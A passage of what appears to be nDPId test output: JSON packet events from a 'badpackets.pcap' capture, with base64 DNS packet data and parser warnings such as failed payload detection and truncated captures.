+01912{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":998245,"pkt_caplen":1193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1193,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs9cgADgR3VKMWiHtzLpQ5QA1zoEKT2TtZcOEEAABAAIABAANA2xiMwRub2RjBG5vYWEDZ292AAABAAHADAABAAEAAAJYAASMWusrwAwALgABAAACWAEhAAEFBAAAAlhZK4uEWSJRBKt+BG5vZGMEbm9hYQNnb3YAhdURPDXBvcbzg1l\/P4qdc3ehRb89ofPJw8vL9RtggwAs8+7Az1qJ5M1Ux+8oZ8zHN5D0+c3BNJjQUPVveXspLDCZdxRFo+1RK\/tIlQre9Z6oXyBunsD3VON8J6JqaO9QLW\/+N+v0+3k4JQ9jEXRD+gylLnNEC4jSZM\/eEVcWh8\/Z\/hQiQb73n\/IE05pfqtTEC1C28x4rjMLnWyPcsUNmAQ1wIIVqzpP6A5VTnvp4RsDzlI9MxhvYxC13eFkguAyj4PpKGJ96o+9WpCrhjrZ5Qe97GjxQ4mnxF+La4DD1K7LlHpU2xfdLMaXTNnb3xrtp8tFG6AyME9mAN3ydsa2necBRAAIAAQAAAlgACAVucy1td8BWwFEAAgABAAACWAAHBG5zLWXAVsBRAAIAAQAAAlgACAVucy1ud8BWwFEALgABAAACWAEhAAIFAwAAAlhZK4uEWSJRBKt+BG5vZGMEbm9hYQNnb3YAPu1CKNIp6mLVE1SewqKYDKAuMQAxscJGLV3f6RN5\/1\/zVgPiH7\/AAxiJPf5SqJZzB9ypQ5Q0SJU+u+qo4UNT2A9ZikHLsvZpu3XY7qllQDLKzFsdAlym\/205od0dRRYpJQQB+XO+nZdpRMc7hCOpc4LOfHHMxA20k1GcxwGN4I6+Yn7DCzd2AzmEcNA6sRAh18oRWpULvUa3Zs5aU9AnCawyL0iB3kXc34Hs5uavwPC1Ojau\/6b8vUkP2tuAEGoEy3ndP2uce\/kL5JrjxLYplDVGCuFeAhL5JD4BC1aJIZENCvxRzhQduD0s4HR+6oKQ1lWxPgH7SZ2ACg0k6rI408GAAAEAAQABUYAABIxaIe3BgAAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wWwAAQABAAFRgAAEjKwR7cFsABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBkwABAAEAAVGAAAShNyACwZMAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsGAAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwYAALgABAAFRgAE="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":13,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159} +01904{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":40787,"pkt_caplen":1186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1186,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1kgADURSH+MrBHtzLpQ5QA18VcKSC9N\/PmEEAABAAIABAANC2Zsb29kc2FmZXR5BG5vYWEDZ292AAABAAHADAABAAEAAAEsAASMWnHIwAwALgABAAABLAEcAAEFAwAAASxZK4t9WSJQ\/T5zBG5vYWEDZ292AI8NxE24xoB5Eg9dMdW2i2Wbnp7WAjJSEPfx6q6WNvQlvElWxcN5ImSIEBkCrx36XB+4y7FQRSHAcJfGmrEujeIG4vm2iak4\/iZ8q6dmad9UZqsYw7xMfUiMET9ynUM9tfbf26FoVrC7jqPoXd\/CLZ2MXGmkMAEGsqydhYm\/5Owhr1bdMagm+9i4eFaCOhOwLA5ytPfBpqddYO4P6KxfzWofdME7xL026plG7g0aOG4GcHKq2yCkGN\/td2KW3STw7Yn3EkgDcCQ9GkTH0mNpchsIxkxjSxGtSeHI3BNNToabK8Bt8I+qEmB2t+Dviv1HzjwGjXetcCij9X+FGH0VoGjAVAACAAEAAVGAAAgFbnMtbXfAVMBUAAIAAQABUYAACAVucy1ud8BUwFQAAgABAAFRgAAHBG5zLWXAVMBUAC4AAQABUYABHAACBQIAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgB\/\/xDOV8RlACc0tJNxS+YKsLSQOBQbk6NLsQZG3YDTjO3iKsh7IcLqiw6uOc7SaLs86m+f\/kMHQskW6EQOmEHDMnbqN9IQMGQT4wsBbRrQmwjtM3XaVIfw2QRYEj4dnRSam\/XPSboR6M9\/hOGPVESZ\/uQ6WqFzbJ5fPUcerIlG\/kYoZuwvlZN9eWpmI2uvZVEJoNzzXHVFVxe+gyzQ2fX9CfzbU64wrazKsV4840AxDn9S8jSgjT7wrA1fAbUY1N1Z18MDcPXwCsgNM45SCTA3GR4LZG5q0wfZhRsvLTMW6nxaQfuphvLWLR4kFiw6usfYhcbxye3Gh4WdZwsuqUy1wZIAAQABAAFRgAAEjFoh7cGSABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBagABAAEAAVGAAASMrBHtwWoAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8F+AAEAAQABUYAABKE3IALBfgAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZIALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBkgAuAAEAAVGAAQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":14,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1152} +01910{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":42745,"pkt_caplen":1193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1193,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ogADURSH6MrBHtzLpQ5QA13wAKT4pfTrqEEAABAAIABAANA3ZsYgRuY2RjBG5vYWEDZ292AAABAAHADAABAAEAAA4QAATNpxlkwAwALgABAAAOEAEhAAEFBAAADhBZKcVTWSCK0x9HBG5jZGMEbm9hYQNnb3YAX+ROMTDmu2LvY14SfjFGvi3WEW6+STJjZDx4ISbi+8Up66dG\/bw1go3rWtgRYv32inrUxVD+E4qN4O65GyWgncqxzNBHyqogKfZU9dx9y+PqIoQ+ar6wCBaZMeRlZ2H\/KAZm9VZJdIYSfT7rg8tylzg1ByKUx\/dM58k4tzq01zWfvvdDqlgyS\/7dfwH3Cx0Q3tKk8RttgwJo0iMxQWM\/AbIcQHtWikYNLoiBlgpKokdUg9fvMXVaU6C7Dli78cCopcGhFjDJKTKGsg8VZwPKF9jhIvdYxA+Q0I24PRjdqFWpLctR\/ZrlwtAdX59WvQRCsyLHS7xFl+DxalLuB\/SgjMBRAAIAAQABUYAABwRucy1lwFbAUQACAAEAAVGAAAgFbnMtbXfAVsBRAAIAAQABUYAACAVucy1ud8BWwFEALgABAAFRgAEhAAIFAwABUYBZKcVTWSCK0x9HBG5jZGMEbm9hYQNnb3YAmWRe9VtNaGu5X49TFlABbU\/pql1LRAtlNRRYPZA76YNivdumGQu4wVgBmCm+hYA4u\/HWo\/sXy+OjhkGg69foZAZZApULWjIwIoUuPmRWXN7SuPsCbcxc2lz03QGkeHWcv53g7lGYu11y+pQHMJSB5g8OgwFH1IpZebWevGbH01CETWP8X15qQ1Si4Mg+CLVxJUTEjQ+X3iu+vEJrye6jYg4+V8n1uXRhP1XaMIy9guTSW+vZMz5uu3LssrCEsl8FV2QPvYCNY6ShsKFc9MUOedVXQ3fLqRmhLx+5ICURO9pKmtWRUtZLxMAKiuJMWwbJBHU0oQ\/4Oz18pihCuPdUXcFsAAEAAQABUYAABIxaIe3BbAAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wX8AAQABAAFRgAAEjKwR7cF\/ABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBkwABAAEAAVGAAAShNyACwZMAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsFsAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwWwALgABAAFRgAE="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":15,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1159} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":337664,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW14gADURSHqMrBHtzLpQ5QA1cdYMIeseCHyEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":16,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145} +00543{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":364173,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAogADIR1C2hNyACzLpQ5QA1Q\/EMIbPPgtyEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":17,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145} +01905{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":389800,"pkt_caplen":1190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1190,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsA0gADIR1CqhNyACzLpQ5QA1Q5YKTHldtTaEEAABAAIABAANA3d3dwtyaXBjdXJyZW50cwRub2FhA2dvdgAAAQABwAwAAQABAAABLAAEjFpxyMAMAC4AAQAAASwBHAABBQQAAAEsWSuLfVkiUP0+cwRub2FhA2dvdgBux3u1kqhoa2542f5VfZyNoS158qaQHxQC5yl\/X1HYHlN9OKFD2TTtS4MZKS2ZLbvQB5eqC\/5Riya4tMHEv+9kjK+XtBF7Rj7yVxMulYYVKJY1yrzk9A\/DMfiIWTmC3qviPxuqYkAT5W+fAOD4Nsy\/5JE6hIu89v+rqG\/Z8kfURtGsfsnMCQfSTMP2AXbh6JHaVQaDQaVNy0gDeBqDP1Owy3kJn4t100KGsy2p4xGQ0JUhkDuTy2t3fY6FBUSyoy0avo4Kb7JFJHys5VrqR44WISsO3GrLnTJtfVwBE9Pr\/BpNps2Jko7Ht0KLwUiDWgVCGdLvJTwQLCElPL9pPjkswFgAAgABAAFRgAAHBG5zLWXAWMBYAAIAAQABUYAACAVucy1ud8BYwFgAAgABAAFRgAAIBW5zLW13wFjAWAAuAAEAAVGAARwAAgUCAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAf\/8QzlfEZQAnNLSTcUvmCrC0kDgUG5OjS7EGRt2A04zt4irIeyHC6osOrjnO0mi7POpvn\/5DB0LJFuhEDphBwzJ26jfSEDBkE+MLAW0a0JsI7TN12lSH8NkEWBI+HZ0Umpv1z0m6EejPf4Thj1REmf7kOlqhc2yeXz1HHqyJRv5GKGbsL5WTfXlqZiNrr2VRCaDc81x1RVcXvoMs0Nn1\/Qn821OuMK2syrFePONAMQ5\/UvI0oI0+8KwNXwG1GNTdWdfDA3D18ArIDTOOUgkwNxkeC2RuatMH2YUbLy0zFup8WkH7qYby1i0eJBYsOrrH2IXG8cntxoeFnWcLLqlMtcFuAAEAAQABUYAABIxaIe3BbgAcAAEAAVGAABAmEAAggACMAAAAAAAAAAI3wZUAAQABAAFRgAAEjKwR7cGVABwAAQABUYAAECYQACCIAIwAAAAAAAAAAjfBgQABAAEAAVGAAAShNyACwYEAHAABAAFRgAAQJhAAIIwAjAAAAAAAAAAAAsFuAC4AAQABUYABHAABBQMAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgAdPG7ehO6IW4WIIulOX8wrz0E30kEaN8pVRkAXeBkIqEzDHfgYVK0sdZ5efJzSOnPqgHdQqhZhaojOXm4uaRNV0BM7TnAaFGReahEW+oclDj1FD6kFM2+O9+xmO3izFYVoFfp1wzvVgLlshXbzWEUiyetInv1BKKFIEeJ5LL23lhMaUXksImKM0RYQcljEMgPUzNr61cp01clYduRCFDBE8koZf3WOqAU+XPiGZ+N7vs+u0ppQnyHl4Ckwf6Bo1ew0W\/NXecH7qQZVe\/ZVZVdU9cjdfMwVrwIodtisUZ3ssnh\/k8UHvbkkIHFNDgp4Q64ETRZdWoT1WgrW5igHg8ArwW4ALgABAAFRgAE="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":18,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1156} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":409912,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsA4gADIR1CmhNyACzLpQ5QA1XMQMIcjtVOuEEAABAA0ABAANCGVkZ2UtbndzA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":19,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145} +00976{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":477838,"pkt_caplen":501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":501,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2EgADURSHeMrBHtzLpQ5QA1hSENY4PPmWmEEAABAA8ABAANA3d3dwRnb2VzBG5vYWEDZ292AAABAAHADAAFAAEAAVGAABILZWRnZS1uZXNkaXMDd29jwBXADAAuAAEAAVGAARwABQUEAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAmB+rNTTf9y2fL9huXtwXacy3dpdAU\/FF66y0T2Abh4gJ4oqoROLCskJvvn3j9VXRYvVuHgr\/e97Co5990baGGvZb+DvhgSBtQA0XDhAbhT4IGku7L7hKoOqCPzJ2xMN4lERF15hNGRqg\/cT5v5CgilDGweZpWDYW20FvCYF4m8AGKWztxWEdpdH2c13sLamLNmDpbsiDeUYVinK+o0nUucS9JVb7qjOM60ITS257sC9GnrEJqXc7E0PqTUPhbrT8oM6CmNCpuj24P56BqqMr1XKbdWFuIo37YO1g0eKMEI09l2QWTwRGahH71x3X3yh\/Irc0cgLSM9Wcphsq4AONbsAvAAUAAQAAASwADAdlZGdlLXAxAWzAX8AvAC4AAQAAASwBIAAFBQQAAAEsWSuLyFkiUUi\/jgN3b2MEbm9hYQNnb3YAHVR1NQXRWlbpbPXbpQ4K7jGWLXOoK18x\/MZgCtt9"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":20,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":467} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":592732,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2IgADURSHaMrBHtzLpQ5QA1ue4F2rYkIYyEEAABAAUAAA=="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","caplen":52,"len":60} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451114,"pkt_ts_usec":592732,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2IgADURSHaMrBHtzLpQ5QA1ue4F2rYkIYyEEAABAAUAAA=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":21,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +00815{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451120,"pkt_ts_usec":530820,"pkt_caplen":384,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":384,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvvQgADsRTzWcmpGtzLpQ5QA1p0MHJt5xE1qEAAABAAgAAAABA3VubwAAMAABwAwAMAABAAAcIACIAQADCAMBAAG4yfLJ+odI0NYhmvuEYusTX3PMFSgpFuzmz0UAbcsB7BQkNbURzRziXs3Eo+Y4VAvQbBXZ7ZrIhm7e5Kv05B9ITQPXR8mAKN+eP4XS24qX5yxLTJr1BHYcwjbMHD11lKYei8h3x0IL84h+CJR9MkSjpkX65W1xs0ZDKrBsVj+sP8AMADAAAQAAHCABCAEBAwgDAQAB7AsXAeKN3QmGY7+Xpe0mfMtRzSIrdueZqhbVPuuuqzzkGlfKN+qx6PtpXxVkUMnMYiEn3FO6H3aNHnpkDL273LzrNhBMH62l5Tf14gZ7\/YEClmhlbBKDGSaiQipf0qYB+3KlSnlFkNTZQTPpSS2skfRrrwaSrIFrBnPy65VNup0b0nKjYyVw623MNxZMGgFjsX8veogoAKeS"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":22,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":350} +01322{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451125,"pkt_ts_usec":221324,"pkt_caplen":759,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":759,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcooIgADMRE+aBBg0DzLpQ5QA1SmkInV2uJjOEEAABAAMABAANA3d3dgRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEGDiyjMAMAC4AAQAABwgAnAABBwMAAAcIWSp+wlkhOKFNKgRuaXN0A2dvdgBIYUso1Tbe3YPWKI6pKsnK39L0ZR+Wo84lp69g80vFD15mFzrNg7EcUCLsnkMlQJbHqK3QN0QeDzdgWJzEtkF4C3gfcuiYqpNzLzSbOaI8qMLYR3iAIZ82fx0LiQg0fj\/UhXahd9c0eXrYwc69KuT3ZZpBmxsvQGSbA79dTk2IcMAMAC4AAQAABwgAnAABBwMAAAcIWSp+wlkhOKFp9QRuaXN0A2dvdgB2VIO3XeASYXoMskLY5BdTHuMWk0C0lo9NqfSeSNpiocAUe4wjG0pSKGWTvO9v14o3ES1dQF\/lRDDzLvndMmBTSk8OUc6DZkYg\/xkANFcnfu1rJX71cI8qZoMAtFPuJG+OdrjwY3UO+gUW81AuHH3Rvj37sLrgU6NYwdvHL8cSF8D0AAIAAQAABwgABgNnZWHA9MD0AAIAAQAABwgABgNiZWHA9MD0AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHAAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":23,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":725} +00642{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451143,"pkt_ts_usec":643018,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":253,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFKAXcix5gAPYRtKqAcIEPzLpQ5QA1PwIGo6sTVh2EEAABAAEABgAPBmdpdmluZwlwcmluY2V0b24DZWR1AAABAAEGZ2l2aW5nCVByaW5jZXRvbgNFRFUAAAEAAQAAqMAABEtlhE3ALQACAAEAAqMAAA0FYWRuczEEdWNzY8AdwC0AAgABAAKjAAAYBWF1dGgyA2Rucwhjb2dlbnRjbwNjb20AwC0AAgABAAKjAAALCGRpa2FoYmxlwC3ALQACAAEAAqMAAAgFYXV0aDHAdcAtAAIAAQACowAACAVhZG5zMsBcwC0AAgABAAKjAAAGAw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":24,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":219} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451144,"pkt_ts_usec":693951,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":70,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc8l4gADcRrZWY2AelzLpQ5QA1QFwLtGqgHLSEAAABAAIABQAQAnNhBHd3dzQDaXJzA2dvdg=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":25,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":36} +01446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451150,"pkt_ts_usec":25808,"pkt_caplen":850,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":850,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcp70gADMRDquBBg0DzLpQ5QA1tIMI+JbQPi6EEAABAAMABQANBG5pc3QEdGltZQNnb3YAAAEAAcAMAAUAAQAABwgAEAR0aW1lA2dsYgRuaXN0wBbADAAuAAEAAAcIAJwABQcDAAAHCFkqyCtZIYRnjJkEdGltZQNnb3YAqr9jxTZXybcXnuCzjwFwvmFI+Ze7+m+rSWmDSn1MGMydCqolZgbVKJgNgG1S4zXIK8pdBL562Arwa55agW7HdTeBY84CmqWupq562AYDen9j\/fcu4j8dUrr0Np5qd65iLfnFlqyyY1lwhO5MLHlBGeFoLloqXXTeoUcgip7f3svADAAuAAEAAAcIAJwABQcDAAAHCFkqyCtZIYRno1UEdGltZQNnb3YA1mVm7+rmIQsKL0j8gZgmJcKynM3ZMQd2XdMAq44akLYox+waENon7a\/NmZaeWbIVHTDHZNuDBA9d3DqfTwZmq6tNJfokzKjG5g+KihH2Xa4Kp9wiLwRswtv6QxM2Qg5XcrAKw8x7jBKYqECsGcjybhwp76K9osOWdUlx9tS+dNnAMAACAAEAAAcIAAcEZ3RtZ8A0wDAAAgABAAAHCAAHBGd0bWLANCBWQ0xEQlZEM045OVFSSElHTFY5UVFBRkUxRFU3UEJOTMA0ADIAAQAAASwAHwEAAAoCf28U+zG4nx40du+nR\/TU4M0oy+4k6+cAASDBsQAuAAEAAAEsAJwAMgcDAAABLFkqrVZZIWt\/TSoEbmlzdANnb3YAin87ubwH5bbudTk+e+xAakiTfHLL5BNm7U1T7Tp5nwZ+YiMNjXALwdG0Rzv41sO6d6JzvqGjEvTLlZHOxMvzh5qOOCQ5pTDJOeqLshIcRoXLTP+W5JHoo22\/LNWmDP4Sejibo\/ExdMmbbKksTx5XkoOuibEJlXT+CgT9AZmeMRTBsQAuAAEAAAEsAJwAMgcDAAABLFkqrVZZIWt\/afUEbmlzdANnb3YACfYO\/o1yNCznWcx+k3iT2eRehKQYOK+FNHFc5RmDgi0nh2MAeCXjMinIJ79YtQqPSh00E\/qkzv0dT8zKvlO44sNJMgS8x9irpUURGpmdOjra2Peut2w6hiAF+w=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":26,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":816} +01428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451210,"pkt_ts_usec":64358,"pkt_caplen":830,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":830,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcZ2IgADgRNxXOg9J2zLpQ5QA17oYI5FghcmaEEAABAAMABgANBnN1cnZleQhzYWZlbGl0ZQNjb20AAAEAAcAMAAEAAQAAcIAABM6D1BvADAAuAAEAAHCAAKAAAQUDAABwgFknjltZIkdgNvwIc2FmZWxpdGUDY29tAHe+sxe671rWzIUuSmcuIX5JDt2N6FBy\/TemnpDPfETG94sVtxgFhyH+9XDJ8vfBDApGjbQsaNpmhYgJ2jGuM6aa11KsYrpTFxQi3Mq4Mwmb85sg1M7tWwMA\/a9WEJvx